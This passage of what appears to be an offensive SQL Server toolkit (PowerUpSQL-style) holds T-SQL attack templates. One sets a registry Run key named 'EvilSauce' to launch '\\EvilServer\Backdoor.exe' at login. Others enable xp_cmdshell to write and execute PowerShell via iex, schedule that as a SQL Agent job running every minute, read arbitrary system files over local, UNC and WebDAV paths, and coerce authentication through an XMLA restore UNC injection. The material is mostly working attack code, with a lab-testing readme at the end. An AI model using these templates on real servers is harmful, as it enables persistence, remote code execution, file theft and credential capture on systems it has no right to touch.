--------------------------------------------------------------------------------
1 | ---------------------------------------------
2 | -- Use SQL Server xp_regwrite to configure
3 | -- a file to run via UNC Path when users login
4 | ----------------------------------------------
5 | EXEC master..xp_regwrite
6 | @rootkey = 'HKEY_LOCAL_MACHINE',
7 | @key = 'Software\Microsoft\Windows\CurrentVersion\Run',
8 | @value_name = 'EvilSauce',
9 | @type = 'REG_SZ',
10 | @value = '"\\EvilServer\Backdoor.exe"'
11 |
--------------------------------------------------------------------------------
/templates/tsql/readfile_BulkInsert.sql:
--------------------------------------------------------------------------------
1 | -- Option 1 - local file
2 | -- Create temp table
3 | CREATE TABLE #file (content nvarchar(4000));
4 |
5 | -- Read file into temp table
6 | BULK INSERT #file FROM 'c:\temp\file.txt';
7 |
8 | -- Select contents of file
9 | SELECT content FROM #file
10 |
11 | -- Option 2 - file via unc path
12 | -- Create temp table
13 | CREATE TABLE #file (content nvarchar(4000));
14 |
15 | -- Read file into temp table
16 | BULK INSERT #file FROM '\\127.0.0.1\c$\temp\file.txt';
17 |
18 | -- Select contents of file
19 | SELECT content FROM #file
20 |
21 | -- Drop temp table
22 | DROP TABLE #file
23 |
24 | -- Option 3 - file via webdav path
25 | -- Create temp table
26 | CREATE TABLE #file (content nvarchar(4000));
27 |
28 | -- Read file into temp table
29 | BULK INSERT #file FROM '\\sharepoint.acme.com@SSL\Path\to\file.txt';
30 |
31 | -- Select contents of file
32 | SELECT content FROM #file
33 |
34 | -- Drop temp table
35 | DROP TABLE #file
36 |
--------------------------------------------------------------------------------
/templates/tsql/readfile_OpenDataSourceTxt.sql:
--------------------------------------------------------------------------------
1 | -- Note: Requires the driver to be installed ahead of time.
2 |
3 | -- Enable show advanced options
4 | sp_configure 'show advanced options',1
5 | reconfigure
6 | go
7 |
8 | -- Enable ad hoc queries
9 | sp_configure 'ad hoc distributed queries',1
10 | reconfigure
11 | go
12 |
13 | -- list available providers
14 | EXEC sp_MSset_oledb_prop
15 |
16 | -- Read a text file
17 | SELECT * FROM OpenDataSource( 'Microsoft.ACE.OLEDB.12.0','Data Source="c:\temp";Extended properties="Text;hdr=no"')...file#txt
18 |
19 | -- Note: This also works with unc paths \\ip\file.txt
20 | -- Note: This also works with webdav paths \\ip@80\file.txt However, the target web server needs to support propfind.
21 |
--------------------------------------------------------------------------------
/templates/tsql/readfile_OpenDataSourceXlsx:
--------------------------------------------------------------------------------
1 | -- Note: Requires the driver to be installed ahead of time.
2 |
3 | -- Enable show advanced options
4 | sp_configure 'show advanced options',1
5 | reconfigure
6 | go
7 |
8 | -- Enable ad hoc queries
9 | sp_configure 'ad hoc distributed queries',1
10 | reconfigure
11 | go
12 |
13 | -- list available providers
14 | EXEC sp_MSset_oledb_prop
15 |
16 | -- Read text file
17 | SELECT * FROM OPENDATASOURCE('Microsoft.ACE.OLEDB.12.0','Data Source=C:\windows\temp\Book1.xlsx;Extended Properties=Excel 8.0')...[Targets$]
18 |
19 | -- Note: This also works with unc paths \\ip\file.txt
20 | -- Note: This also works with webdav paths \\ip@80\file.txt However, the target web server needs to support propfind.
21 |
--------------------------------------------------------------------------------
/templates/tsql/readfile_OpenRowSetBulk.sql:
--------------------------------------------------------------------------------
1 | -- select the contents of a file using openrowset
2 | -- note: ad-hoc queries have to be enabled
3 | -- https://docs.microsoft.com/en-us/sql/t-sql/functions/openrowset-transact-sql
4 |
5 | -- Enable show advanced options
6 | sp_configure 'show advanced options',1
7 | reconfigure
8 | go
9 |
10 | -- Enable ad hoc queries
11 | sp_configure 'ad hoc distributed queries',1
12 | reconfigure
13 | go
14 |
15 | -- Read text file
16 | SELECT cast(BulkColumn as varchar(max)) as Document FROM OPENROWSET(BULK N'C:\windows\temp\blah.txt', SINGLE_BLOB) AS Document
17 |
18 | -- Note: This also works with unc paths \\ip\file.txt
19 | -- Note: This also works with webdav paths \\ip@80\file.txt However, the target web server needs to support propfind.
20 |
--------------------------------------------------------------------------------
/templates/tsql/readfile_OpenRowSetTxt.sql:
--------------------------------------------------------------------------------
1 | -- Note: Requires the driver to be installed ahead of time.
2 | -- EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'AllowInProcess', 1 -- not required
3 | -- EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'DynamicParameters', 1 -- not required
4 | -- EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1; -- not required
5 |
6 | -- list available providers
7 | EXEC sp_MSset_oledb_prop -- get available providers
8 |
9 | -- Enable show advanced options
10 | sp_configure 'show advanced options',1
11 | reconfigure
12 | go
13 |
14 | -- Enable ad hoc queries
15 | sp_configure 'ad hoc distributed queries',1
16 | reconfigure
17 | go
18 |
19 | -- Read text file
20 | SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0','Text;Database=c:\temp\;HDR=Yes;FORMAT=text', 'SELECT * FROM [file.txt]')
21 |
22 | -- Note: This also works with unc paths \\ip\file.txt
23 | -- Note: This also works with webdav paths \\ip@80\file.txt However, the target web server needs to support propfind.
24 |
--------------------------------------------------------------------------------
/templates/tsql/readfile_OpenRowSetXlsx.sql:
--------------------------------------------------------------------------------
1 |
2 | -- Requires the driver be installed ahead of time.
3 |
4 | -- list available providers
5 | EXEC sp_MSset_oledb_prop -- get available providers
6 |
7 | -- Enable show advanced options
8 | sp_configure 'show advanced options',1
9 | reconfigure
10 | go
11 |
12 | -- Enable ad hoc queries
13 | sp_configure 'ad hoc distributed queries',1
14 | reconfigure
15 | go
16 |
17 | -- Read text file from disk
18 | SELECT column1 FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0', 'Excel 12.0;Database=C:\windows\temp\Book1.xlsx;', 'SELECT * FROM [Targets$]')
19 |
20 | -- Read text file from unc path
21 | SELECT column1 FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0', 'Excel 12.0;Database=\\server\folder\Book1.xlsx;', 'SELECT * FROM [Targets$]')
22 |
23 | -- Note: This also works with webdav paths \\ip@80\file.txt However, the target web server needs to support propfind.
24 |
--------------------------------------------------------------------------------
/templates/tsql/restore-unc-injection.xmla:
--------------------------------------------------------------------------------
1 | # Reference: https://github.com/p0dalirius/MSSQL-Analysis-Coerce
2 |
3 |
4 | \\192.168.1.12\SYSVOL\db.abf
5 | \\192.168.1.12\SYSVOL\db.abf
6 | \\192.168.1.12\SYSVOL\db.abf
7 |
8 |
--------------------------------------------------------------------------------
/templates/tsql/writefile_OpenRowSetTxt.sql:
--------------------------------------------------------------------------------
1 |
2 | -- Note: Requires the driver to be installed ahead of time.
3 |
4 | -- list available providers
5 | EXEC sp_MSset_oledb_prop -- get available providers
6 |
7 | -- Enable show advanced options
8 | sp_configure 'show advanced options',1
9 | reconfigure
10 | go
11 |
12 | -- Enable ad hoc queries
13 | sp_configure 'ad hoc distributed queries',1
14 | reconfigure
15 | go
16 | -- Write text file
17 | INSERT INTO OPENROWSET('Microsoft.ACE.OLEDB.12.0','Text;Database=c:\temp\;HDR=Yes;FORMAT=text', 'SELECT * FROM [file.txt]')
18 | SELECT @@version
19 |
20 | -- Note: This also works with unc paths \\ip\file.txt
21 | -- Note: This also works with webdav paths \\ip@80\file.txt However, the target web server needs to support propfind.
22 |
--------------------------------------------------------------------------------
/templates/tsql/writefile_bcpxpcmdshell.sql:
--------------------------------------------------------------------------------
1 | ---------------------------------------
2 | -- Script: writefile_bcpxpcmdshell.sql
3 | -- Author/Modifications: Scott Sutherland
4 | -- Based on https://www.simple-talk.com/sql/t-sql-programming/the-tsql-of-text-files/
5 | -- Description:
6 | -- Write PowerShell code to disk and run it using bcp and xp_cmdshell.
7 | ---------------------------------------
8 |
9 | -- Enable xp_cmdshell
10 | sp_configure 'show advanced options',1
11 | RECONFIGURE
12 | GO
13 |
14 | sp_configure 'xp_cmdshell',1
15 | RECONFIGURE
16 | GO
17 |
18 | -- Create variables
19 | DECLARE @MyPowerShellCode NVARCHAR(MAX)
20 | DECLARE @PsFileName NVARCHAR(4000)
21 | DECLARE @TargetDirectory NVARCHAR(4000)
22 | DECLARE @PsFilePath NVARCHAR(4000)
23 | DECLARE @MyGlobalTempTable NVARCHAR(4000)
24 | DECLARE @Command NVARCHAR(4000)
25 |
26 | -- Set filename for PowerShell script
27 | Set @PsFileName = 'MyPowerShellScript.ps1'
28 |
29 | -- Set target directory for PowerShell script to be written to
30 | SELECT @TargetDirectory = REPLACE(CAST((SELECT SERVERPROPERTY('ErrorLogFileName')) as VARCHAR(MAX)),'ERRORLOG','')
31 |
32 | -- Create full output path for creating the PowerShell script
33 | SELECT @PsFilePath = @TargetDirectory + @PsFileName
34 | SELECT @PsFilePath as PsFilePath
35 |
36 | -- Define the PowerShell code
37 | SET @MyPowerShellCode = 'Write-Output "hello world" | Out-File "' + @TargetDirectory + 'intendedoutput.txt"'
38 | SELECT @MyPowerShellCode as PsScriptCode
39 |
40 | -- Create a global temp table with a unique name using dynamic SQL
41 | SELECT @MyGlobalTempTable = '##temp' + CONVERT(VARCHAR(12), CONVERT(INT, RAND() * 1000000))
42 |
43 | -- Create a command to insert the PowerShell code stored in the @MyPowerShellCode variable, into the global temp table
44 | SELECT @Command = '
45 | CREATE TABLE [' + @MyGlobalTempTable + '](MyID int identity(1,1), PsCode varchar(MAX))
46 | INSERT INTO [' + @MyGlobalTempTable + '](PsCode)
47 | SELECT @MyPowerShellCode'
48 |
49 | -- Execute that command
50 | EXECUTE sp_ExecuteSQL @command, N'@MyPowerShellCode varchar(MAX)', @MyPowerShellCode
51 |
52 | -- Execute bcp via xp_cmdshell (as the service account) to save the contents of the temp table to MyPowerShellScript.ps1
53 | SELECT @Command = 'bcp "SELECT PsCode from [' + @MyGlobalTempTable + ']' + '" queryout "'+ @PsFilePath + '" -c -T -S ' + @@SERVERNAME
54 |
55 | -- Write the file
56 | EXECUTE MASTER..xp_cmdshell @command, NO_OUTPUT
57 |
58 | -- Drop the global temp table
59 | EXECUTE ( 'Drop table ' + @MyGlobalTempTable )
60 |
61 | -- Run the PowerShell script
62 | DECLARE @runcmdps nvarchar(4000)
63 | SET @runcmdps = 'Powershell -C "$x = gc '''+ @PsFilePath + ''';iex($X)"'
64 | EXECUTE MASTER..xp_cmdshell @runcmdps, NO_OUTPUT
65 |
66 | -- Delete the PowerShell script
67 | DECLARE @runcmddel nvarchar(4000)
68 | SET @runcmddel= 'DEL /Q "' + @PsFilePath +'"'
69 | -- EXECUTE MASTER..xp_cmdshell @runcmddel, NO_OUTPUT
70 |
--------------------------------------------------------------------------------
/templates/tsql/writefile_bcpxpcmdshell_Job.sql:
--------------------------------------------------------------------------------
1 | -- Create the job, run the job every minute
2 | -- TSQL: create powershell script that outputs file to log directory, run powershell script
3 | -- This is just a template.
4 |
5 | USE [msdb]
6 | GO
7 |
8 | BEGIN TRANSACTION
9 | DECLARE @ReturnCode INT
10 | SELECT @ReturnCode = 0
11 |
12 | IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1)
13 | BEGIN
14 | EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]'
15 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
16 |
17 | END
18 |
19 | DECLARE @jobId BINARY(16)
20 | EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'RunMyPowerShellJob',
21 | @enabled=1,
22 | @notify_level_eventlog=0,
23 | @notify_level_email=0,
24 | @notify_level_netsend=0,
25 | @notify_level_page=0,
26 | @delete_level=0,
27 | @description=N'No description available.',
28 | @category_name=N'[Uncategorized (Local)]',
29 | @owner_login_name=N'sa', @job_id = @jobId OUTPUT
30 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
31 |
32 | EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RunPowerShellJobStep',
33 | @step_id=1,
34 | @cmdexec_success_code=0,
35 | @on_success_action=1,
36 | @on_success_step_id=0,
37 | @on_fail_action=2,
38 | @on_fail_step_id=0,
39 | @retry_attempts=0,
40 | @retry_interval=0,
41 | @os_run_priority=0, @subsystem=N'TSQL',
42 | @command=N'---------------------------------------
43 | -- Script: writefile_bcpxpcmdshell.sql
44 | -- Author/Modifications: Scott Sutherland
45 | -- Based on https://www.simple-talk.com/sql/t-sql-programming/the-tsql-of-text-files/
46 | -- Description:
47 | -- Write PowerShell code to disk and run it using bcp and xp_cmdshell.
48 | ---------------------------------------
49 |
50 | -- Enable xp_cmdshell
51 | sp_configure ''show advanced options'',1
52 | RECONFIGURE
53 | GO
54 |
55 | sp_configure ''xp_cmdshell'',1
56 | RECONFIGURE
57 | GO
58 |
59 | -- Create variables
60 | DECLARE @MyPowerShellCode NVARCHAR(MAX)
61 | DECLARE @PsFileName NVARCHAR(4000)
62 | DECLARE @TargetDirectory NVARCHAR(4000)
63 | DECLARE @PsFilePath NVARCHAR(4000)
64 | DECLARE @MyGlobalTempTable NVARCHAR(4000)
65 | DECLARE @Command NVARCHAR(4000)
66 |
67 | -- Set filename for PowerShell script
68 | Set @PsFileName = ''MyPowerShellScript.ps1''
69 |
70 | -- Set target directory for PowerShell script to be written to
71 | SELECT @TargetDirectory = REPLACE(CAST((SELECT SERVERPROPERTY(''ErrorLogFileName'')) as VARCHAR(MAX)),''ERRORLOG'','''')
72 |
73 | -- Create full output path for creating the PowerShell script
74 | SELECT @PsFilePath = @TargetDirectory + @PsFileName
75 | SELECT @PsFilePath as PsFilePath
76 |
77 | -- Define the PowerShell code
78 | SET @MyPowerShellCode = ''Write-Output "hello world" | Out-File "'' + @TargetDirectory + ''intendedoutput.txt"''
79 | SELECT @MyPowerShellCode as PsScriptCode
80 |
81 | -- Create a global temp table with a unique name using dynamic SQL
82 | SELECT @MyGlobalTempTable = ''##temp'' + CONVERT(VARCHAR(12), CONVERT(INT, RAND() * 1000000))
83 |
84 | -- Create a command to insert the PowerShell code stored in the @MyPowerShellCode variable, into the global temp table
85 | SELECT @Command = ''
86 | CREATE TABLE ['' + @MyGlobalTempTable + ''](MyID int identity(1,1), PsCode varchar(MAX))
87 | INSERT INTO ['' + @MyGlobalTempTable + ''](PsCode)
88 | SELECT @MyPowerShellCode''
89 |
90 | -- Execute that command
91 | EXECUTE sp_ExecuteSQL @command, N''@MyPowerShellCode varchar(MAX)'', @MyPowerShellCode
92 |
93 | -- Add delay for lab race condition - Change as needed
94 | WAITFOR DELAY ''00:00:5''
95 |
96 | -- Execute bcp via xp_cmdshell (as the service account) to save the contents of the temp table to MyPowerShellScript.ps1
97 | SELECT @Command = ''bcp "SELECT PsCode from ['' + @MyGlobalTempTable + '']'' + ''" queryout "''+ @PsFilePath + ''" -c -T -S '' + @@SERVERNAME
98 |
99 | -- Write the file
100 | EXECUTE MASTER..xp_cmdshell @command, NO_OUTPUT
101 |
102 | -- Drop the global temp table
103 | EXECUTE ( ''Drop table '' + @MyGlobalTempTable )
104 |
105 | -- Run the PowerShell script
106 | DECLARE @runcmdps nvarchar(4000)
107 | SET @runcmdps = ''Powershell -C "$x = gc ''''''+ @PsFilePath + '''''';iex($X)"''
108 | EXECUTE MASTER..xp_cmdshell @runcmdps, NO_OUTPUT
109 |
110 | -- Delete the PowerShell script
111 | DECLARE @runcmddel nvarchar(4000)
112 | SET @runcmddel= ''DEL /Q "'' + @PsFilePath +''"''
113 | EXECUTE MASTER..xp_cmdshell @runcmddel, NO_OUTPUT
114 | ',
115 | @database_name=N'master',
116 | @flags=0
117 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
118 | EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1
119 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
120 | EXEC @ReturnCode = msdb.dbo.sp_add_jobschedule @job_id=@jobId, @name=N'RunPsJobEveryMinute',
121 | @enabled=1,
122 | @freq_type=4,
123 | @freq_interval=1,
124 | @freq_subday_type=4,
125 | @freq_subday_interval=1,
126 | @freq_relative_interval=0,
127 | @freq_recurrence_factor=0,
128 | @active_start_date=20191105,
129 | @active_end_date=99991231,
130 | @active_start_time=0,
131 | @active_end_time=235959,
132 | @schedule_uid=N'6c1e63cf-1a5b-4fe4-a271-7aa247b50c73'
133 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
134 | EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)'
135 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
136 | COMMIT TRANSACTION
137 | GOTO EndSave
138 | QuitWithRollback:
139 | IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION
140 | EndSave:
141 |
142 | GO
143 |
--------------------------------------------------------------------------------
/templates/tsql/writefile_bulkinsert.sql:
--------------------------------------------------------------------------------
1 | -- author: antti rantassari, 2017
2 | -- Description: Copy file contents to another file via local, unc, or webdav path
3 | -- summary = file contains varchar data, field is an int, throws casting error on read, set error output to file, tada!
4 | -- requires sysadmin or bulk insert privs
5 |
6 | create table #errortable (ignore int)
7 |
8 | bulk insert #errortable
9 | from '\\localhost\c$\windows\win.ini' -- or 'c:\windows\system32\win.ni' -- or \\hostanme@SSL\folder\file.ini'
10 | with
11 | (
12 | fieldterminator=',',
13 | rowterminator='\n',
14 | errorfile='c:\windows\temp\thatjusthappend.txt'
15 | )
16 |
17 | drop table #errortable
18 |
--------------------------------------------------------------------------------
/tests/readme.md:
--------------------------------------------------------------------------------
1 | # Instructions
2 | * Log into a Windows tests system as a local administrator that is connected to a test domain - ideally in an isolution test environment
3 | * Install a local SQL Server 2014 instance
4 | * Enable / install in mixed authentication mode
5 | * Provide the current Windows user with sysadmin privileges
6 | * Run the pesterdb.sql script as a sysadmin in the local SQL Server 2014 instance
7 | * Run the PowerUpSQLTests.ps1 script
8 |
--------------------------------------------------------------------------------